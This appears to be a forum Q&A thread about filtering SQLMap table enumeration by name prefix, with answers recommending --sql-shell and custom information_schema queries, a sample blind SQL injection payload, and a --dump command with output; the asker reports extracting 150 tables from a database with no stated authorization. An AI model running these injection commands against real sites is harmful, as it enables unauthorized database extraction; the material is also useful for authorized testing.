I would like to know the command of SQLMap, which permits me to retreive just tables that begin with a special letter. Example with letter "T":

sqlmap.py -u www.website -D database -T tables (...)
  • You can retrieve a list of all tables, and then manually request those tables starting with T, but as far as I'm aware, SQLMap doesn't have specific functions for retrieving a subset of tables. It would be a bit too specialist for a command line program which can utilise shell scripts or Perl. The usage page lists all options for SQLMap – Matthew Nov 4 '15 at 13:37

I believe that you have two options in this case:

  1. You can use sqlmap inside of a shell script to list the tables, and save those results to iterate over with successive calls to sqlmap.

  2. You can use sqlmap to run a designated SQL query with the --sql-query option.

I don't think that the tool is capable of running as you desire, like this:

sqlmap.py -u www.website -D database -T "t*"

SQLMap does not support this natively. But you can build your own query that retrieves exactly what you need. You need to see --sql-shell parameter. It will pop-up shell commands. Every single query you type on that shell will be executed through sql injection attack!

You can use following query. It retrieves table names that starts with "w"

SELECT table_name FROM information_schema.tables WHERE table_schema=database() and table_name LIKE 'w%';

Actually above query is almost same the native SQLMap payloads. For example SQLMap use following payload for Blind SQL Injections.

' AND SUBSTRING('SELECT version()', 1,1)

In this payload SQLMap try to retrieve results of SELECT version(); query which is predefined at inside of SQLMap xml file. We are updating this query with --sql-shell command. Every single "normal" database query you pass to the terminal going to be replaced with SELECT version(); .

' AND SUBSTRING('SELECT table_name FROM information_schema.tables WHERE table_schema=database() and table_name LIKE 'w%';', 1,1)

Rest of the SQL Injection mechanism will be okay as long as your custom query is okay.

  • Did you mean --sql-query instead of --sql-shell? – J Kimball Nov 4 '15 at 13:45
  • @JKimball I think --sql-query is for one time query execution. --sql-shell is kind of terminal shell but it does some thing with --sql-query behind the science. Official documentation says: --sql-query=QUERY SQL statement to be executed, --sql-shell Prompt for an interactive SQL shell – Mehmet Ince Nov 4 '15 at 13:47
  • It works, Mehmet. Thanks so much. I spent 12 hours to discover 150 tables of a database in blind-mode but i had some strange caracters errors in some of them. So, din't want to retreive all again. Do you know some other insteresting queries with --sql-shell parameter ? I don't see any tutorial about this command line. Regards. – Bastian Nuremberg Nov 4 '15 at 15:04
  • Sweet! I did some update on answer for you @BastianNuremberg . I believe you got the point. --sql-shell is explain it self. Actual magic comes from custom query instead of --sql-shell command. – Mehmet Ince Nov 4 '15 at 20:56
  • Np, Then mark as correct answer @BastianNuremberg – Mehmet Ince Nov 7 '15 at 19:23
$ python sqlmap.py -u ""\
 --dump -T users
Database: Firebird_masterdb
Table: USERS
[4 entries]
| ID | NAME   | SURNAME    |
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.